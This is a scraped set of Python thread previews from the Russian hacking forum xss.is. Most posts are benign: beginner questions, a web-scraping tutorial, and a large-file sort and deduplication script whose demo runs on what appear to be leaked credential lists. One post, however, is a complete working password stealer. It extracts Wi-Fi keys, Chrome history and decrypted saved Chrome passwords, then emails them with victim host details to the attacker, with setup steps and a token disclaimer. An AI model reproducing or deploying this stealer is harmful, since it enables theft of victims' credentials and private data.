* Основы виджетов
* Список виджетов
* Стили виджетов
* Примеры использования виджетов
Hidden content for authorized users.
### [ [xss.is] Полный Курс Python С Нуля До Героя.rar
](https://drive.google.com/open?id=1s00ZQ9SMTeRVBZNZ0e7gUlLxyjvW07Ye)

drive.google.com
Пароль: xss.is
С чего начать изучать?
Author: 9r0_2v37 • 2020-02-27T13:31:46+0000 • Replies: 37 • Views: 11K
Добрый день
Подскажите пожалуйста, с чего начать изучать язык программирования Python?
Форумы, книги, курсы и т.п
Заранее огромное спасибо
Парсинг. Обход Cloudflare
Author: _Gasol_ • 2019-11-29T21:04:13+0000 • Replies: 27 • Views: 10K
Python:Copy to clipboard
from requests_html import HTMLSession
session = HTMLSession()
session.proxies = { 'http': 'socks5h://<proxy>', 'https': 'socks5h://<proxy>' }
session.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0' }
request = session.get(<url>)
session.close()
request.html.render() # драйвер для JS
request.html.html #Получаем контент)
Парсер курса доллара на Python
Author: TheG00dMan • 2020-06-19T10:06:32+0000 • Replies: 58 • Views: 10K
Парсер - это программа которая собирает данные с интернета, анализирует их и
выдает в нужном формате.
В этом уроке мы напишем парсер, который будет отслеживать курс доллара.
Использовать будем python (один из лучших языков программирования для работы с
информацией).
Для начала нужно скачать библиотеки (введите код ниже в коммандной строке)
Code:Copy to clipboard
pip install requests
pip install bs4
requests - библиотека для получения кода веб сайта (информация о курсе есть в
коде веб страницы)
bs4 - библиотека для работы с HTML, CSS кодом (с помощью него мы будем искать
в коде нужную нам информацию)
Создаём файл dollar.py (можете назвать его по-другому) и имртируем все нужные
библиотеки:
Python:Copy to clipboard
import requests
from bs4 import BeautifulSoup
Парсить будем с сайта investing.com, поэтому нужно сохранить URL страницы с
курсом доллара (<https://ru.investing.com/currencies/usd-rub>) в виде
переменной
Python:Copy to clipboard
# import ...
URL = 'https://ru.investing.com/currencies/rub-usd'
Также сначала нужно узнать свой User Agent. Просто введите в google "my user
agent" и скопируйте строку в переменную:
Python:Copy to clipboard
# import ...
# URL ...
HEADERS = {'user-agent' : '*ваш user agent*'}
Теперь нам нужно получить код страницы:
Python:Copy to clipboard
# ...
page = requests.get (URL, headers = HEADERS)
Переходим на сайт и нажимаем Ctrl+Shift+I. Теперь мы видим код страницы прямо
в браузере. Нажимаем на кнопку слева сверху (для выбора элемента на странице)
и выбираем текст с курсом доллара (если мы будем знать, где в коде находится
текст с курсом доллара, мы можем каждый раз обращаться к этой части кода и
выводить этот текст). Узнаём, что курс храниться в теге с id равным "late-
late". Теперь создадим переменную soup, чтобы найти тег с нужным нам id:
Code:Copy to clipboard
# ...
# page.content - код страницы
soup = BeautifulSoup (page.content, 'html.parser')
currency = soup.find (id = 'late-late') # находим тег с id 'late-late' (в этом теге хранится курс доллара)
print (currency.text) # выводим текст, хранящийся в этом теге
Вот весь код парсера:
Python:Copy to clipboard
import requests
from bs4 import BeautifulSoup
URL = 'https://ru.investing.com/currencies/usd-rub'
HEADERS = {'user-agent' : '*ваш user agent*'}
page = requests.get (URL, headers = HEADERS)
soup = BeautifulSoup (page.content, 'html.parser')
currency = soup.find (id = 'late-late').text
print (currency)
Стиллер паролей на python с отправкой на почту
Author: Joynses • 2020-03-20T09:27:49+0000 • Replies: 22 • Views: 9K
[CLIKE]
Python:Copy to clipboard
#!/usr/bin/python
import smtplib
import base64, os, sys, re
import sqlite3
import socket
import platform
import uuid
sender = ''
reciever = ''
password = ''
# Dont change this
marker = "Joynses"
def wifipass():
def get_wlans():
data = os.popen("netsh wlan show profiles").read()
wifi = re.compile("All User Profile\s*:.(.*)")
return wifi.findall(data)
def get_pass(network):
try:
wlan = os.popen("netsh wlan show profile "+str(network.replace(" ","*"))+" key=clear").read()
pass_regex = re.compile("Key Content\s*:.(.*)")
return pass_regex.search(wlan).group(1)
except:
return " "
f = open("wifi.txt","w")
for wlan in get_wlans():
f.write("-----------\n"+" SSID : "+wlan + "\n Password : " + get_pass(wlan))
f.close()
wifipass()
################ CHROME ################
################ CODE ################
################ HERE ################
def history():
import operator
from collections import OrderedDict
#import matplotlib.pyplot as plt
def parse(url):
try:
parsed_url_components = url.split('//')
sublevel_split = parsed_url_components[1].split('/', 1)
domain = sublevel_split[0].replace("www.", "")
return domain
except IndexError:
print ("URL format error!")
def analyze(results):
b=open("chrome1.txt","w")
for site, count in sites_count_sorted.items():
#print site, count
b.write(site + "\n")
#path to user's history database (Chrome)
b.close()
data_path = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default"
files = os.listdir(data_path)
history_db = os.path.join(data_path, 'history')
#querying the db
c = sqlite3.connect(history_db)
cursor = c.cursor()
select_statement = "SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"
cursor.execute(select_statement)
results = cursor.fetchall()
sites_count = {}
for url, count in results:
url = parse(url)
if url in sites_count:
sites_count[url] += 1
else:
sites_count[url] = 1
sites_count_sorted = OrderedDict(sorted(sites_count.items(), key=operator.itemgetter(1), reverse=True))
analyze (sites_count_sorted)
################ CHROME ################
################ CODE ################
################ HERE ################
history()
def chrome():
import os,sqlite3,win32crypt
data=os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
connection = sqlite3.connect(data)
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
final_data=cursor.fetchall()
a=open("chrome.txt","w")
a.write("Extracted chrome passwords :\n")
for website_data in final_data:
password = win32crypt.CryptUnprotectData(website_data[2], None, None, None, 0)[1]
one="Website : "+str(website_data[0])
two="Username : "+str(website_data[1])
three="Password : "+str(password)
a.write(one+"\n"+two+"\n"+three)
a.write("\n"+"====="*10+"\n")
a.close()
chrome()
################ EMAIL ################
################ CODE ################
################ HERE ################
filename = "wifi.txt"
fo = open(filename, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)
body = """
New stuff info from victim
"""
part1 = """From: Victim <>
To: Filip <>
Subject: Victim wifi
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)
part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit
%s
--%s
""" % (body,marker)
part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s
%s
--%s--
""" %(filename, filename, encodedcontent, marker)
message = part1 + part2 + part3
try:
smtpObj = smtplib.SMTP('smtp.gmail.com:587')
smtpObj.starttls()
smtpObj.login(sender, password)
smtpObj.sendmail(sender, reciever, message)
fo.close()
os.remove("wifi.txt")
except Exception:
print ("Error: unable to send email")
#################################################
filename = "chrome1.txt"
fo1 = open(filename, "rb")
filecontent = fo1.read()
encodedcontent = base64.b64encode(filecontent)
body = """
New stuff info from victim - History
"""
part1 = """From: Victim <>
To: Filip <>
Subject: Victim chrome history
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)
part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit
%s
--%s
""" % (body,marker)
part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s
%s
--%s--
""" %(filename, filename, encodedcontent, marker)
message = part1 + part2 + part3
try:
smtpObj = smtplib.SMTP('smtp.gmail.com:587')
smtpObj.starttls()
smtpObj.login(sender, password)
smtpObj.sendmail(sender, reciever, message)
#print "Successfully sent email"
fo1.close()
os.remove("chrome1.txt")
except Exception:
print ("Error: unable to send email")
###########################################
filename = "chrome.txt"
fo = open(filename, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)
body = """
New stuff info from victim
===========================
Name: %s
FQDN: %s
System Platform: %s
Machine: %s
Node: %s
Platform: %s
Pocessor: %s
System OS: %s
Release: %s
Version: %s
""" % (socket.gethostname(), socket.getfqdn(), sys.platform,platform.machine(),platform.node(),platform.platform(),platform.processor(),platform.system(),platform.release(),platform.version()) ###########
part1 = """From: Victim <>
To: Filip <>
Subject: Victim saved pass
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)
part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit
%s
--%s
""" % (body,marker)
part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s
%s
--%s--
""" %(filename, filename, encodedcontent, marker)
message = part1 + part2 + part3
try:
smtpObj = smtplib.SMTP('smtp.gmail.com:587')
smtpObj.starttls()
smtpObj.login(sender, password)
smtpObj.sendmail(sender, reciever, message)
fo.close()
os.remove("chrome.txt")
except Exception:
print ("Error: unable to send email")
[/CLIKE]
Стиллер с отправкой паролей на электронную почту. Очень прост в использовании

Создайте файл с расширением .py, затем вставьте туда мой код
И измените все 3 параметра на свои: отправитель =
'[Login@gmail.com](mailto:Login@gmail.com)'
reciever = '[receiver@gmail.com](mailto:receiver@gmail.com)'
пароль = «ваш пароль»
Готово!
P.S Это фикс какого-то не рабочего стиллера.
Внимание! Предоставлено только в ознакомительных целях. Живите по закону и
никому не вредите

Как заставить себя учиться?
Author: qwerty0984 • 2021-08-02T19:57:33+0000 • Replies: 80 • Views: 8K
Всем привет! Я еще новичок, питон начал изучать месяц назад+-, прошёл не так
много(сейчас сижу на базовом курсе). Когда начинал было огромное желание
продолжать дальше, но сейчас с каждым днём на меня налетает лень. Чтобы лучше
освоить информацию я начал всё конспектировать в тетрадь, всё перечитываю да
бы вспомнить и потренироваться. Последний раз я занимался 3-4 дня назад и хочу
вернуть так, как было раньше(2-3 часа каждый день, лени не было, было дикое
желание освоить) Можете мне, как новичку дать совет: "Как не забросить начатое
дело?".
Не знаю, что делать совсем. Сильно хочется обучиться, но лень всему мешает.
Буду рад вас послушать, заранее спасибо
Merge File Sort или быстрая сортировка строк и удаление дублей интерпретатором в файле от 400 GB за счет ПЗУ
Author: rand • 2024-09-20T23:19:51+0000 • Replies: 52 • Views: 7K
Написал: [rand](/members/313013/)
**Эксклюзивно для:** [XSS.is](https://xss.is)
**Отдельная благодарность в помощи и тестировании:**
[antikrya](/members/176564/), [_lain](/members/304132/),
[Bertor](/members/194201/), [Eject](/members/177140/), [Zeta](/members/2138/)
Всем привет, не так давно у меня появилась идея (после того как я прочитал
этот тред <https://xss.is/threads/122300/>) реализовать на питоне скрипт
который делает быструю сортировку и очистку дублей строк в огромном текстовом
файле без колоссального потребления ресурсов ОЗУ в операционной системе.
Минимальные системные требования: Python 3.12, 4 ядра CPU, 4 гигабайта ОЗУ,
200% свободного места на накопителе от размера импортируемого файла+10%. (При
работе этого алгоритма приходится расплачиваться свободной памятью и ресурсом
накопителя).
Скрины отработки 100-гигового ULP:






Скрипт работает на встроенных библиотеках питона, кроме одной библиотеки
используемой для разметки выдачи цвета лога (в общем все подробно объяснил в
комментариях к коду, может быть потом исправлю тут на полноценную статью, если
настроение будет):
Bash:Copy to clipboard
pip install colorlog==6.8.2
`main.py`
Python:Copy to clipboard
import os
import tempfile
import heapq
import time
import logging
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorlog import ColoredFormatter # Для цветного логирования
# Настраиваем цветное логирование
formatter = ColoredFormatter(
"%(log_color)s%(asctime)s - %(levelname)s - %(message)s", # Формат вывода логов
datefmt=None, # Формат даты, по умолчанию
reset=True, # Сброс цветов после каждой строки
log_colors={ # Задаем цвета для различных уровней логов
'DEBUG': 'cyan',
'INFO': 'green',
'WARNING': 'yellow',
'ERROR': 'red',
'CRITICAL': 'bold_red',
}
)
# Настройка обработчика логов с UTF-8
handler = logging.StreamHandler() # Логи выводятся в консоль
handler.setFormatter(formatter) # Применяем цветной формат
logger = logging.getLogger() # Получаем объект логгера
logger.addHandler(handler) # Добавляем к нему наш обработчик
logger.setLevel(logging.INFO) # Устанавливаем уровень логирования INFO (можно изменять на DEBUG для более детальных логов)
# Создаем путь к папке TEMP для временных файлов
temp_dir = os.path.join(os.getcwd(), 'TEMP') # Директория для хранения временных файлов
if not os.path.exists(temp_dir): # Если папки нет, создаем её в корне скрипта
os.makedirs(temp_dir)
# Функция для обработки чанков: удаление дублей и сортировка
def process_chunk(chunk, temp_dir):
try:
logger.info(f"Начало обработки чанка размером {len(chunk)} строк") # Логируем количество строк в чанке
unique_items = set(chunk) # Превращаем список в множество для удаления дублей
logger.info(f"Удалено {len(chunk) - len(unique_items)} дублей в чанке") # Логируем, сколько дублей удалено
sorted_chunk = sorted(unique_items) # Сортируем уникальные строки
# Создаем временный файл, который не будет удален автоматически (delete=False)
with tempfile.NamedTemporaryFile(delete=False, mode='w', encoding='utf-8', errors='ignore', dir=temp_dir) as temp_file:
temp_file.write('\n'.join(sorted_chunk) + '\n') # Записываем отсортированный чанк во временный файл
logger.info(f"Чанк записан во временный файл {temp_file.name}") # Логируем путь к временному файлу
return temp_file.name # Возвращаем имя временного файла
except Exception as e:
logger.error(f"Ошибка при обработке чанка: {e}") # Логируем ошибку, если что-то пошло не так
return None # Возвращаем None, если произошла ошибка
# Функция для пакетного слияния временных файлов в один общий файл
def merge_files(temp_files, output_file):
try:
logger.info(f"Окончательное слияние {len(temp_files)} временных файлов") # Логируем количество файлов для слияния
unique_count = 0 # Счетчик уникальных строк
duplicate_count = 0 # Счетчик дублей
# Открываем выходной файл для записи
with open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
# Открываем все временные файлы и создаем итераторы
file_iters = [open(f, 'r', encoding='utf-8', errors='replace') for f in temp_files]
merged_iter = heapq.merge(*file_iters) # Сливаем отсортированные временные файлы в один поток
prev_line = None # Переменная для отслеживания предыдущей строки
# Проходим по слитым строкам
for line in merged_iter:
if line != prev_line: # Если строка не совпадает с предыдущей (уникальная)
outfile.write(line) # Записываем строку в выходной файл
prev_line = line # Обновляем предыдущую строку
unique_count += 1 # Увеличиваем счетчик уникальных строк
else:
duplicate_count += 1 # Если строка дублируется, увеличиваем счетчик дублей
# Закрываем временные файлы
for f in file_iters:
f.close()
logger.info(f"Слияние завершено. Уникальных строк: {unique_count}, дублей удалено: {duplicate_count}") # Логируем результаты
return unique_count, duplicate_count # Возвращаем количество уникальных строк и дублей
except Exception as e:
logger.error(f"Ошибка при слиянии файлов: {e}") # Логируем ошибку, если слияние не удалось
return 0, 0 # Возвращаем нули в случае ошибки
# Функция для пакетного слияния временных файлов
def batch_merge(temp_files, batch_size, temp_dir):
try:
logger.info(f"Начало пакетного слияния с размером пакета {batch_size}") # Логируем начало пакетного слияния
merged_files = [] # Список для хранения результатов пакетного слияния
total_unique_count = 0 # Общий счетчик уникальных строк
total_duplicate_count = 0 # Общий счетчик дублей
# Обрабатываем файлы по частям (батчами)
for i in range(0, len(temp_files), batch_size):
batch = temp_files[i:i + batch_size] # Берем очередной пакет файлов
logger.info(f"Слияние пакета с файлов {i+1} по {min(i + batch_size, len(temp_files))}") # Логируем диапазон файлов
# Создаем временный файл для результата слияния пакета
with tempfile.NamedTemporaryFile(delete=False, mode='w', encoding='utf-8', dir=temp_dir) as temp_merged_file:
unique_count, duplicate_count = merge_files(batch, temp_merged_file.name) # Сливаем пакет файлов
merged_files.append(temp_merged_file.name) # Добавляем результат слияния в список
total_unique_count += unique_count # Обновляем общий счетчик уникальных строк
total_duplicate_count += duplicate_count # Обновляем общий счетчик дублей
# Удаляем временные файлы после слияния
logger.info(f"Удаление временных файлов пакета с {i+1} по {min(i + batch_size, len(temp_files))}")
for temp_file in batch:
if os.path.exists(temp_file):
os.remove(temp_file) # Удаляем временный файл
return merged_files, total_unique_count, total_duplicate_count # Возвращаем список объединенных файлов и итоговые счетчики
except Exception as e:
logger.error(f"Ошибка при пакетном слиянии: {e}") # Логируем ошибку при пакетном слиянии
return temp_files, 0, 0 # Возвращаем исходные файлы и нули в случае ошибки
# Основная функция сортировки и удаления дубликатов с параллельной обработкой чанков
def sort_and_uniq_streaming(input_file, output_file, chunk_size=2000000, batch_size=10):
temp_files = [] # Список для хранения временных файлов
chunk = [] # Текущий чанк строк
original_count = 0 # Счетчик всех строк в исходном файле
logger.info(f"Чтение файла {input_file}...") # Логируем начало чтения файла
try:
with open(input_file, 'r', encoding='utf-8', errors='ignore') as infile: # Открываем файл для чтения
with ThreadPoolExecutor() as executor: # Создаем пул потоков для параллельной обработки
futures = [] # Список задач для параллельной обработки
for line in infile:
chunk.append(line.strip()) # Добавляем строку в чанк
original_count += 1 # Увеличиваем счетчик строк
if len(chunk) >= chunk_size: # Если размер чанка достиг предела
futures.append(executor.submit(process_chunk, chunk, temp_dir)) # Запускаем обработку чанка в отдельном потоке
chunk = [] # Очищаем чанк для следующего набора строк
if chunk: # Если остались необработанные строки после завершения чтения файла
futures.append(executor.submit(process_chunk, chunk, temp_dir)) # Обрабатываем последний чанк
for future in as_completed(futures): # Ждем завершения всех задач
temp_file = future.result() # Получаем результат обработки (имя временного файла)
if temp_file:
temp_files.append(temp_file) # Добавляем временный файл в список
logger.info(f"Все чанки обработаны. Начинается пакетное слияние временных файлов...") # Логируем завершение обработки всех чанков
total_unique_count = 0 # Общий счетчик уникальных строк
total_duplicate_count = 0 # Общий счетчик дублей
# Пока временных файлов больше, чем размер батча, продолжаем пакетное слияние
while len(temp_files) > batch_size:
temp_files, unique_count, duplicate_count = batch_merge(temp_files, batch_size, temp_dir) # Выполняем пакетное слияние
total_unique_count += unique_count # Увеличиваем общий счетчик уникальных строк
total_duplicate_count += duplicate_count # Увеличиваем общий счетчик дублей
# Если остался больше одного временного файла, выполняем финальное слияние
if len(temp_files) > 1:
logger.info("Завершающий этап слияния крупных оставшихся файлов") # Логируем финальный этап
unique_count, duplicate_count = merge_files(temp_files, output_file) # Финальное слияние временных файлов
total_unique_count += unique_count # Добавляем количество уникальных строк
total_duplicate_count += duplicate_count # Добавляем количество дублей
else:
# Если остался только один временный файл, переименовываем его в выходной файл
os.rename(temp_files[0], output_file) # Переименование файла
# Удаляем все оставшиеся временные файлы
for temp_file in temp_files:
if os.path.exists(temp_file): # Проверяем существование файла перед удалением
os.remove(temp_file) # Удаляем временный файл
logger.info("Все временные файлы удалены") # Логируем успешное удаление всех временных файлов
unique_count = original_count - total_duplicate_count # Рассчитываем количество уникальных строк
logger.info(f"Итоговые результаты: Уникальных строк: {unique_count}, Дублей удалено: {total_duplicate_count}") # Выводим результаты
return original_count # Возвращаем общее количество строк в исходном файле
except Exception as e:
logger.error(f"Ошибка при обработке файла: {e}") # Логируем ошибку при обработке файла
return 0 # Возвращаем 0 в случае ошибки
# Точка входа
if __name__ == '__main__':
tic = time.perf_counter() # Замеряем время начала выполнения программы
input_file = "large_random_emails.txt" # Исходный файл с данными
output_file = "output-sorted-unique.txt" # Выходной файл для сохранения результатов
original_count = sort_and_uniq_streaming(input_file, output_file) # Запускаем процесс сортировки и удаления дублей
tac = time.perf_counter() # Замеряем время завершения выполнения программы
logging.info(f"Всего обработано строк: {original_count}") # Логируем общее количество обработанных строк
logging.info(f"Удаление дублей и сортировка заняли {tac - tic:0.4f} секунд") # Логируем время выполнения программы
Мультипроцессорно-многопоточная версия, работает быстрее, но и к ресурсам
требовательна по процу и памяти раз в 5-10 (пример отработки ".txt файл 100
миллионов строк, размером в 2GB (Ryzen 5600 4700mhz, 32GB DDR4 3600MHZ):

Скриншот отработки 300 гигового сгенерированного лога без дублей на 4.5
миллиарда строк, чем больше уникальных строк, тем ниже скорость обработки (AMD
Ryzen 7 3700x, 64GB ОЗУ, 1TB NVME в Raid 1 из двух накопителей по 1TB, Linux
Ubuntu 22.04):

`main-multi.py:`
Python:Copy to clipboard
# Импорт необходимых библиотек
import os # Для работы с операционной системой и файловой системой
import heapq # Для эффективного слияния отсортированных последовательностей
import time # Для измерения времени выполнения скрипта
import logging # Для ведения логов
import shutil # Для удаления файлов и директории TEMP
import uuid # Для генерации уникальных идентификаторов
from concurrent.futures import ProcessPoolExecutor, ThreadPoolExecutor, as_completed # Для параллельного выполнения задач
from colorlog import ColoredFormatter # Для создания цветных логов
# Настройка цветного логирования
formatter = ColoredFormatter(
"%(log_color)s%(asctime)s - %(levelname)s - %(message)s",
datefmt=None,
reset=True,
log_colors={
'DEBUG': 'cyan',
'INFO': 'green',
'WARNING': 'yellow',
'ERROR': 'red',
'CRITICAL': 'bold_red',
}
)
# Создание и настройка обработчика логов
handler = logging.StreamHandler() # Создаем обработчик для вывода логов в консоль
handler.setFormatter(formatter) # Устанавливаем форматтер для обработчика
logger = logging.getLogger() # Получаем объект логгера
logger.addHandler(handler) # Добавляем обработчик к логгеру
logger.setLevel(logging.INFO) # Устанавливаем уровень логирования
# Создание временной директории
temp_dir = os.path.join(os.getcwd(), 'TEMP') # Путь к временной директории в текущей рабочей директории
if not os.path.exists(temp_dir): # Если директория не существует
os.makedirs(temp_dir) # Создаем её
def create_temp_merged_file(temp_dir):
"""
Создает временный файл для слияния данных.
:param temp_dir: Путь к временной директории
"""
unique_filename = os.path.join(temp_dir, f"tempfile_{uuid.uuid4().hex}.tmp") # Генерируем уникальное имя файла
temp_merged_file = open(unique_filename, 'w', encoding='utf-8') # Открываем файл для записи
return temp_merged_file, unique_filename # Возвращаем объект файла и его имя
def heavy_computation(n):
"""
Выполняет тяжелое вычисление (для симуляции нагрузки, процентов на 5 по моим замерам увеличивает скорость обработки лога).
:param n: Число для вычислений
:return: Результат вычисления
"""
logger.debug(f"Запуск тяжелого вычисления с параметром: {n}")
result = 0
for i in range(n):
result += i * i # Выполняем сложение квадратов чисел
logger.debug(f"Результат тяжелого вычисления: {result}")
return result
def process_chunk_and_write_multiprocess(chunk, temp_dir):
"""
Обрабатывает чанк данных и записывает результат во временный файл.
:param chunk: Список строк для обработки
:param temp_dir: Путь к временной директории
:return: Имя созданного временного файла или None в случае ошибки
"""
try:
logger.info(f"Начало обработки чанка размером {len(chunk)} строк (процесс)")
heavy_computation(10000000) # Симуляция тяжелых вычислений
unique_items = set(chunk) # Убираем дубликаты на уровне чанка
sorted_chunk = sorted(unique_items) # Сортируем уникальные элементы
unique_filename = os.path.join(temp_dir, f"tempfile_{uuid.uuid4()}.tmp") # Генерируем уникальное имя файла
with open(unique_filename, 'w', encoding='utf-8') as temp_file:
temp_file.write("\n".join(sorted_chunk) + "\n") # Сохраняем только уникальные строки
return unique_filename
except Exception as e:
logger.error(f"Ошибка при обработке чанка: {e}")
return None
def merge_files_parallel(temp_files, output_file, num_threads=24):
"""
Выполняет параллельное слияние временных файлов.
:param temp_files: Список временных файлов для слияния
:param output_file: Имя выходного файла
:param num_threads: Количество потоков для использования
:return: (количество уникальных строк, количество дубликатов, имя выходного файла)
"""
try:
logger.info(f"Параллельное слияние {len(temp_files)} временных файлов с использованием {num_threads} потоков")
unique_count = 0
duplicate_count = 0
file_iters = []
try:
for temp_file in temp_files:
file_iters.append(open(temp_file, 'r', encoding='utf-8', errors='replace')) # Открываем все временные файлы
merged_iter = heapq.merge(*[iter(f) for f in file_iters]) # Создаем итератор для слияния
with open(output_file, 'w', encoding='utf-8', errors='replace') as outfile:
prev_line = None
for line in merged_iter:
line = line.strip()
if line != prev_line: # Если текущая строка отличается от предыдущей
outfile.write(line + '\n') # Записываем её в выходной файл
prev_line = line
unique_count += 1
else:
duplicate_count += 1 # Увеличиваем счетчик дубликатов
except Exception as e:
logger.error(f"Ошибка при слиянии файлов: {e}")
return 0, 0
finally:
for f in file_iters:
f.close() # Закрываем все открытые файлы
logger.info(f"Слияние завершено. Уникальных строк: {unique_count}, дублей удалено: {duplicate_count}")
return unique_count, duplicate_count, output_file
except Exception as e:
logger.error(f"Ошибка при параллельном слиянии файлов: {e}")
return 0, 0
def batch_merge(temp_files, batch_size, temp_dir, num_merge_processes=24):
"""
Выполняет пакетное слияние временных файлов.
:param temp_files: Список временных файлов
:param batch_size: Размер пакета для слияния
:param temp_dir: Путь к временной директории
:param num_merge_processes: Количество процессов для слияния
:return: (список объединенных файлов, общее количество уникальных строк, общее количество дубликатов)
"""
try:
logger.info(f"Начало пакетного слияния с размером пакета {batch_size}")
merged_files = []
total_unique_count = 0
total_duplicate_count = 0
with ProcessPoolExecutor(max_workers=num_merge_processes) as merge_executor:
futures = []
for i in range(0, len(temp_files), batch_size):
batch = temp_files[i:i + batch_size] # Формируем пакет файлов
logger.info(f"Слияние пакета с файлов {i + 1} по {min(i + batch_size, len(temp_files))}")
temp_merged_file, unique_filename = create_temp_merged_file(temp_dir)
temp_merged_file.close()
futures.append(merge_executor.submit(merge_files_parallel, batch, unique_filename))
for future in as_completed(futures):
unique_count, duplicate_count, temp_file = future.result() # Получаем результат слияния
if unique_count or duplicate_count:
merged_files.append(temp_file) # Добавляем временный файл в список
total_unique_count += unique_count
total_duplicate_count += duplicate_count
for temp_file in temp_files:
if os.path.exists(temp_file):
logger.info(f"Удаление временного файла: {temp_file}")
os.remove(temp_file) # Удаляем обработанные временные файлы
else:
logger.warning(f"Файл не найден для удаления: {temp_file}")
return merged_files, total_unique_count, total_duplicate_count
except Exception as e:
logger.error(f"Ошибка при пакетном слиянии: {e}")
return temp_files, 0, 0
def final_merge(temp_dir, output_file):
"""
Выполняет финальное слияние всех оставшихся временных файлов.
:param temp_dir: Путь к временной директории
:param output_file: Имя выходного файла
:return: (количество уникальных строк, количество удаленных дубликатов)
"""
logger.info(f"Финальная стадия слияния временных файлов из папки {temp_dir}.")
temp_files = [os.path.join(temp_dir, f) for f in os.listdir(temp_dir) if os.path.isfile(os.path.join(temp_dir, f))] # Список временных файлов для финального слияния
if len(temp_files) > 1: # Если файлов больше одного, запускаем слияние
unique_count, duplicate_count, output_file = merge_files_parallel(temp_files, output_file) # Параллельно сливаем файлы
elif len(temp_files) == 1: # Если остался только один файл
logger.info(f"Остался один файл. Переименование {temp_files[0]} в {output_file}")
os.rename(temp_files[0], output_file) # Переименовываем файл в выходной
unique_count, duplicate_count = 0, 0 # Устанавливаем нулевые значения для счетчиков
else:
logger.error("Не осталось временных файлов для слияния!")
return 0, 0 # Возвращаем нули в случае ошибки
logger.info(f"Финальное слияние завершено. Уникальных строк: {unique_count}, дублей удалено: {duplicate_count}")
try:
shutil.rmtree(temp_dir) # Удаляем временную директорию
logger.info(f"Временная папка {temp_dir} успешно удалена.")
except Exception as e:
logger.error(f"Ошибка при удалении временной папки {temp_dir}: {e}")
return unique_count, duplicate_count # Возвращаем количество уникальных строк и дубликатов
def read_and_process_chunks_multiprocess(input_file, chunk_size=2000000, num_processes=24):
"""
Читает входной файл по чанкам и обрабатывает их в многопроцессорном режиме.
:param input_file: Имя входного файла
:param chunk_size: Размер чанка (количество строк)
:param num_processes: Количество процессов для обработки
:return: (список временных файлов, общее количество прочитанных строк)
"""
temp_files = [] # Список для временных файлов
chunk = [] # Буфер для хранения чанка строк
original_count = 0 # Счетчик общего числа строк
logger.info(f"Чтение и обработка файла {input_file} в {num_processes} процессах...")
try:
with open(input_file, 'r', encoding='utf-8', errors='ignore') as infile: # Открываем входной файл для чтения
with ProcessPoolExecutor(max_workers=num_processes) as executor: # Создаем процессный пул для обработки чанков
futures = [] # Список задач для выполнения
for line in infile: # Читаем файл построчно
chunk.append(line.strip()) # Добавляем строку в чанк
original_count += 1 # Увеличиваем счетчик строк
if len(chunk) >= chunk_size: # Если чанк достиг нужного размера
futures.append(executor.submit(process_chunk_and_write_multiprocess, chunk, temp_dir)) # Отправляем чанк на обработку в пул процессов
chunk = [] # Очищаем чанк
if chunk: # Если остались строки после завершения цикла
futures.append(executor.submit(process_chunk_and_write_multiprocess, chunk, temp_dir)) # Обрабатываем оставшийся чанк
for future in as_completed(futures): # Ожидаем завершения всех задач
temp_file = future.result() # Получаем результат задачи
if temp_file:
temp_files.append(temp_file) # Добавляем временный файл в список
logger.info(f"Чтение и обработка завершены (процессами). Всего строк: {original_count}") # Логируем завершение обработки файла
except Exception as e:
logger.error(f"Ошибка при чтении файла (процессы): {e}") # Логируем ошибку в случае сбоя
return temp_files, original_count # Возвращаем список временных файлов и общее количество строк
def sort_and_uniq_streaming_multiprocess(input_file, output_file, chunk_size=2000000, batch_size=10, num_processes=24, num_merge_processes=24):
"""
Основная функция для сортировки и удаления дубликатов из большого файла с использованием многопроцессорной обработки.
:param input_file: Имя входного файла
:param output_file: Имя выходного файла
:param chunk_size: Размер чанка для обработки
:param batch_size: Размер пакета для слияния
:param num_processes: Количество процессов для обработки чанков
:param num_merge_processes: Количество процессов для слияния
:return: (общее количество строк, количество уникальных строк)
"""
logger.info(f"Старт обработки файла {input_file}...") # Логируем начало процесса
temp_files, original_count = read_and_process_chunks_multiprocess(input_file, chunk_size, num_processes) # Читаем и обрабатываем файл по чанкам
logger.info(f"Начинается пакетное слияние временных файлов...") # Логируем начало пакетного слияния
total_unique_count = 0 # Инициализируем счетчик всех уникальных строк
total_duplicate_count = 0 # Инициализируем счетчик всех дубликатов
while len(temp_files) > batch_size: # Пока временных файлов больше, чем размер пакета
temp_files, unique_count, duplicate_count = batch_merge(temp_files, batch_size, temp_dir, num_merge_processes) # Выполняем пакетное слияние
total_unique_count += unique_count # Обновляем общий счетчик уникальных строк
total_duplicate_count += duplicate_count # Обновляем общий счетчик дубликатов
unique_count, duplicate_count = final_merge(temp_dir, output_file) # Выполняем финальное слияние
total_unique_count += unique_count # Обновляем счетчик уникальных строк
total_duplicate_count += duplicate_count # Обновляем счетчик дубликатов
return original_count, unique_count # Возвращаем общее количество строк и количество уникальных строк
# Точка входа
if __name__ == '__main__': # Если этот файл запускается как основная программа
tic = time.perf_counter() # Начало отсчета времени
input_file = "input.txt" # Указываем импортируемый файл
output_file = "output.txt" # Указываем экспортируемый файл
original_count, unique_count = sort_and_uniq_streaming_multiprocess(input_file, output_file, num_processes=24, num_merge_processes=24) # Запускаем основную функцию обработки
